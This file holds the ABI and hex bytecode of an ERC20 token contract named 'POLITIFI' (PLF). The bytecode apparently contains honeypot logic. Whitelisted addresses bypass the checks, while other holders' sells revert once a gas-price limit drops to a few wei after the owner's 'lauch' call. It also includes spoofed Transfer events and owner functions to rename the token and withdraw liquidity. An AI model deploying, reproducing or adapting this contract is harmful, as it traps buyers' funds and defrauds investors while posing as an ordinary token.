[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"},{"internalType":"uint256","name":"_tokenAllowFeeAmount","type":"uint256"},{"internalType":"bool","name":"transferToDeployer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ARB_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AVAX_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BASE_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BLAST_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ETH_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"addCheckUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"chageNameAndSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeTokenAllowFeeAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentAllow","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lauch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"listRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"},{"internalType":"uint256","name":"chainId","type":"uint256"}],"name":"setRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAllowFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f504f4c4954494649000000000000000000000000000000000000000000000000815250600890816200004a9190620014de565b506040518060400160405280600481526020017f504c46200000000000000000000000000000000000000000000000000000000081525060099081620000919190620014de565b506445d964b8006014556005601555348015620000ac575f80fd5b5060405162004e4738038062004e478339818101604052810190620000d2919062001690565b3360088054620000e290620012de565b80601f01602080910402602001604051908101604052809291908181526020018280546200011090620012de565b80156200015f5780601f1062000135576101008083540402835291602001916200015f565b820191905f5260205f20905b8154815290600101906020018083116200014157829003601f168201915b5050505050600980546200017390620012de565b80601f0160208091040260200160405190810160405280929190818152602001828054620001a190620012de565b8015620001f05780601f10620001c657610100808354040283529160200191620001f0565b820191905f5260205f20905b815481529060010190602001808311620001d257829003601f168201915b505050505033868360039081620002089190620014de565b5082600490816200021a9190620014de565b508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000312575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000309919062001725565b60405180910390fd5b62000323816200052c60201b60201c565b50600160135f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080156200039857620003923385620005ef60201b60201c565b620003ab565b620003aa3085620005ef60201b60201c565b5b620003ca338587620003be91906200176d565b620005ef60201b60201c565b81600d81905550620003e16200067960201b60201c565b5f620003f26200087460201b60201c565b90505f8060115f8481526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303620004ab578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200047d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004a39190620017a7565b91506200051e565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200051b9190620017a7565b91505b505050505050505062001921565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000662575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000659919062001725565b60405180910390fd5b620006755f83836200088060201b60201c565b5050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a60115f600181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad2460115f61210581526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d460115f61a86a81526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f660115f62013e3181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad2460115f61a4b181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f804690508091505090565b60135f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615620008e957620008e383838362000b5160201b60201c565b62000b4c565b600f5f9054906101000a900460ff166200093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009319062001835565b60405180910390fd5b5f6200094b62000f3d60201b60201c565b90505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200099b576200099484848462000b5160201b60201c565b5062000b4c565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801562000a225750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205462000a20919062001855565b115b1562000a535762000a3984620011c760201b60201c565b62000a4c84848462000b5160201b60201c565b5062000b4c565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801562000adb5750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205462000ad8919062001855565b11155b1562000b37578160125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000b2f919062001855565b925050819055505b62000b4a84848462000b5160201b60201c565b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ba5578060025f82825462000b98919062001855565b9250508190555062000c76565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000c31578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040162000c2893929190620018a0565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000cbf578060025f828254039250508190555062000d09565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000dec5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000dde9190620018db565b60405180910390a362000f38565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ecf578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ec19190620018db565b60405180910390a362000f37565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000f2e9190620018db565b60405180910390a35b5b505050565b5f805f62000f506200087460201b60201c565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a820362001008578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620010009190620017a7565b92506200107b565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001052573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620010789190620017a7565b92505b5f3090505f808273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1610620010bd578286620010c0565b85835b915091505f8473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200110f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011359190620017a7565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663e6a4390585856040518363ffffffff1660e01b815260040162001175929190620018f6565b602060405180830381865afa15801562001191573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011b79190620017a7565b9050809850505050505050505090565b5f620011d9826200122560201b60201c565b11156200122257600f5f9054906101000a900460ff166200120d57620012076014546200126a60201b60201c565b62001221565b620012206015546200126a60201b60201c565b5b5b50565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b803a111562001277575f80fd5b50565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620012f657607f821691505b6020821081036200130c576200130b620012b1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620013707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262001333565b6200137c868362001333565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620013c6620013c0620013ba8462001394565b6200139d565b62001394565b9050919050565b5f819050919050565b620013e183620013a6565b620013f9620013f082620013cd565b8484546200133f565b825550505050565b5f90565b6200140f62001401565b6200141c818484620013d6565b505050565b5b818110156200144357620014375f8262001405565b60018101905062001422565b5050565b601f82111562001492576200145c8162001312565b620014678462001324565b8101602085101562001477578190505b6200148f620014868562001324565b83018262001421565b50505b505050565b5f82821c905092915050565b5f620014b45f198460080262001497565b1980831691505092915050565b5f620014ce8383620014a3565b9150826002028217905092915050565b620014e9826200127a565b67ffffffffffffffff81111562001505576200150462001284565b5b620015118254620012de565b6200151e82828562001447565b5f60209050601f83116001811462001554575f84156200153f578287015190505b6200154b8582620014c1565b865550620015ba565b601f198416620015648662001312565b5f5b828110156200158d5784890151825560018201915060208501945060208101905062001566565b86831015620015ad5784890151620015a9601f891682620014a3565b8355505b6001600288020188555050505b505050505050565b5f80fd5b620015d18162001394565b8114620015dc575f80fd5b50565b5f81519050620015ef81620015c6565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200162082620015f5565b9050919050565b620016328162001614565b81146200163d575f80fd5b50565b5f81519050620016508162001627565b92915050565b5f8115159050919050565b6200166c8162001656565b811462001677575f80fd5b50565b5f815190506200168a8162001661565b92915050565b5f805f805f60a08688031215620016ac57620016ab620015c2565b5b5f620016bb88828901620015df565b9550506020620016ce88828901620015df565b9450506040620016e18882890162001640565b9350506060620016f488828901620015df565b925050608062001707888289016200167a565b9150509295509295909350565b6200171f8162001614565b82525050565b5f6020820190506200173a5f83018462001714565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620017798262001394565b9150620017868362001394565b9250828203905081811115620017a157620017a062001740565b5b92915050565b5f60208284031215620017bf57620017be620015c2565b5b5f620017ce8482850162001640565b91505092915050565b5f82825260208201905092915050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6200181d601d83620017d7565b91506200182a82620017e7565b602082019050919050565b5f6020820190508181035f8301526200184e816200180f565b9050919050565b5f620018618262001394565b91506200186e8362001394565b925082820190508082111562001889576200188862001740565b5b92915050565b6200189a8162001394565b82525050565b5f606082019050620018b55f83018662001714565b620018c460208301856200188f565b620018d360408301846200188f565b949350505050565b5f602082019050620018f05f8301846200188f565b92915050565b5f6040820190506200190b5f83018562001714565b6200191a602083018462001714565b9392505050565b613518806200192f5f395ff3fe608060405260043610610266575f3560e01c80636c02a93111610143578063a9059cbb116100b5578063e086e5ec11610079578063e086e5ec14610915578063e0e2b08b1461092b578063e1ad418e14610953578063efc21e3f1461098f578063f2fde38b146109b9578063f305d719146109e157610266565b8063a9059cbb14610821578063b95999cd1461085d578063cc1776d314610885578063cc2b7858146108af578063dd62ed3e146108d957610266565b80638d5f81e2116101075780638d5f81e2146107155780638da5cb5b1461073f57806395d89b41146107695780639b19251a146107935780639f5fa028146107cf578063a11223da146107f957610266565b80636c02a9311461064757806370a0823114610671578063715018a6146106ad5780637b61c320146106c35780638b339069146106ed57610266565b80633811ac02116101dc5780635408d42d116101a05780635408d42d1461054d578063564b81ef1461057757806357e871e7146105a1578063593ed58c146105cb578063594ef0d9146106075780636b05abd61461063157610266565b80633811ac021461047f5780633c9f5ed6146104a75780633de4b85c146104d15780634c97f472146104fb5780634f7041a51461052357610266565b806315aac2271161022e57806315aac2271461035f57806318160ddd146103895780631e9d48cf146103b357806323b872dd146103ef5780632711b8a51461042b578063313ce5671461045557610266565b806302751cec1461026a578063068acf6c146102a757806306fdde03146102cf578063095ea7b3146102f95780631189478014610335575b5f80fd5b348015610275575f80fd5b50610290600480360381019061028b919061276b565b610a13565b60405161029e929190612803565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c8919061282a565b610d2c565b005b3480156102da575f80fd5b506102e3610e2f565b6040516102f091906128df565b60405180910390f35b348015610304575f80fd5b5061031f600480360381019061031a91906128ff565b610ebf565b60405161032c9190612957565b60405180910390f35b348015610340575f80fd5b50610349610ee1565b6040516103569190612970565b60405180910390f35b34801561036a575f80fd5b50610373610ee8565b6040516103809190612970565b60405180910390f35b348015610394575f80fd5b5061039d610eee565b6040516103aa9190612970565b60405180910390f35b3480156103be575f80fd5b506103d960048036038101906103d4919061282a565b610ef7565b6040516103e69190612957565b60405180910390f35b3480156103fa575f80fd5b5061041560048036038101906104109190612989565b610f14565b6040516104229190612957565b60405180910390f35b348015610436575f80fd5b5061043f610f42565b60405161044c9190612970565b60405180910390f35b348015610460575f80fd5b50610469610f4a565b60405161047691906129f4565b60405180910390f35b34801561048a575f80fd5b506104a560048036038101906104a09190612b4d565b610f52565b005b3480156104b2575f80fd5b506104bb610feb565b6040516104c89190612957565b60405180910390f35b3480156104dc575f80fd5b506104e5611000565b6040516104f29190612970565b60405180910390f35b348015610506575f80fd5b50610521600480360381019061051c9190612c44565b611006565b005b34801561052e575f80fd5b50610537611032565b6040516105449190612970565b60405180910390f35b348015610558575f80fd5b50610561611038565b60405161056e9190612957565b60405180910390f35b348015610582575f80fd5b5061058b61104a565b6040516105989190612970565b60405180910390f35b3480156105ac575f80fd5b506105b5611056565b6040516105c29190612970565b60405180910390f35b3480156105d6575f80fd5b506105f160048036038101906105ec9190612cba565b61105c565b6040516105fe9190612cf4565b60405180910390f35b348015610612575f80fd5b5061061b61108c565b6040516106289190612970565b60405180910390f35b34801561063c575f80fd5b50610645611092565b005b348015610652575f80fd5b5061065b6110c4565b60405161066891906128df565b60405180910390f35b34801561067c575f80fd5b506106976004803603810190610692919061282a565b611150565b6040516106a49190612970565b60405180910390f35b3480156106b8575f80fd5b506106c1611195565b005b3480156106ce575f80fd5b506106d76111a8565b6040516106e491906128df565b60405180910390f35b3480156106f8575f80fd5b50610713600480360381019061070e9190612cba565b611234565b005b348015610720575f80fd5b50610729611246565b6040516107369190612cf4565b60405180910390f35b34801561074a575f80fd5b506107536114b6565b6040516107609190612cf4565b60405180910390f35b348015610774575f80fd5b5061077d6114de565b60405161078a91906128df565b60405180910390f35b34801561079e575f80fd5b506107b960048036038101906107b4919061282a565b61156e565b6040516107c69190612957565b60405180910390f35b3480156107da575f80fd5b506107e361158b565b6040516107f09190612970565b60405180910390f35b348015610804575f80fd5b5061081f600480360381019061081a9190612d0d565b611590565b005b34801561082c575f80fd5b50610847600480360381019061084291906128ff565b611641565b6040516108549190612957565b60405180910390f35b348015610868575f80fd5b50610883600480360381019061087e91906128ff565b611663565b005b348015610890575f80fd5b506108996116be565b6040516108a69190612970565b60405180910390f35b3480156108ba575f80fd5b506108c36116c4565b6040516108d09190612970565b60405180910390f35b3480156108e4575f80fd5b506108ff60048036038101906108fa9190612d67565b6116ca565b60405161090c9190612970565b60405180910390f35b348015610920575f80fd5b5061092961174c565b005b348015610936575f80fd5b50610951600480360381019061094c9190612dcf565b61179a565b005b34801561095e575f80fd5b506109796004803603810190610974919061282a565b6117fa565b6040516109869190612970565b60405180910390f35b34801561099a575f80fd5b506109a361180f565b6040516109b09190612970565b60405180910390f35b3480156109c4575f80fd5b506109df60048036038101906109da919061282a565b611815565b005b6109fb60048036038101906109f6919061276b565b611899565b604051610a0a93929190612e0d565b60405180910390f35b5f80610a1d6119fb565b5f610a26611246565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610a629190612cf4565b602060405180830381865afa158015610a7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa19190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610ae093929190612e81565b6020604051808303815f875af1158015610afc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b209190612eca565b505f610b2a61104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff1663095ea7b382856040518363ffffffff1660e01b8152600401610b9b929190612ef5565b6020604051808303815f875af1158015610bb7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bdb9190612eca565b5061a86a8203610c83578073ffffffffffffffffffffffffffffffffffffffff166333c6b72530855f803369d3c21bcecceda0ffffff43610c1c9190612f49565b6040518763ffffffff1660e01b8152600401610c3d96959493929190612fbe565b60408051808303815f875af1158015610c58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7c919061301d565b5050610d1d565b8073ffffffffffffffffffffffffffffffffffffffff166302751cec30855f803369d3c21bcecceda0ffffff43610cba9190612f49565b6040518763ffffffff1660e01b8152600401610cdb96959493929190612fbe565b60408051808303815f875af1158015610cf6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1a919061301d565b50505b50505050965096945050505050565b610d346119fb565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d6e9190612cf4565b602060405180830381865afa158015610d89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dad9190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610dea929190612ef5565b6020604051808303815f875af1158015610e06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e2a9190612eca565b505050565b606060088054610e3e90613088565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90613088565b8015610eb55780601f10610e8c57610100808354040283529160200191610eb5565b820191905f5260205f20905b815481529060010190602001808311610e9857829003601f168201915b5050505050905090565b5f80610ec9611a82565b9050610ed6818585611a89565b600191505092915050565b62013e3181565b600e5481565b5f600254905090565b6010602052805f5260405f205f915054906101000a900460ff1681565b5f80610f1e611a82565b9050610f2b858285611a9b565b610f36858585611b2d565b60019150509392505050565b5f6039905090565b5f6012905090565b610f5a6119fb565b5f5b8151811015610fe757600160135f848481518110610f7d57610f7c6130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610fdf906130e5565b915050610f5c565b5050565b5f600f5f9054906101000a900460ff16905090565b61a86a81565b61100e6119fb565b816008908161101d91906132c0565b50806009908161102d91906132c0565b505050565b600b5481565b600f5f9054906101000a900460ff1681565b5f804690508091505090565b600a5481565b6011602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b61109a6119fb565b600f5f9054906101000a900460ff1615600f5f6101000a81548160ff021916908315150217905550565b600880546110d190613088565b80601f01602080910402602001604051908101604052809291908181526020018280546110fd90613088565b80156111485780601f1061111f57610100808354040283529160200191611148565b820191905f5260205f20905b81548152906001019060200180831161112b57829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61119d6119fb565b6111a65f611c1d565b565b600980546111b590613088565b80601f01602080910402602001604051908101604052809291908181526020018280546111e190613088565b801561122c5780601f106112035761010080835404028352916020019161122c565b820191905f5260205f20905b81548152906001019060200180831161120f57829003601f168201915b505050505081565b61123c6119fb565b80600d8190555050565b5f805f61125161104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8203611304578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d9573d5f803e3d5ffd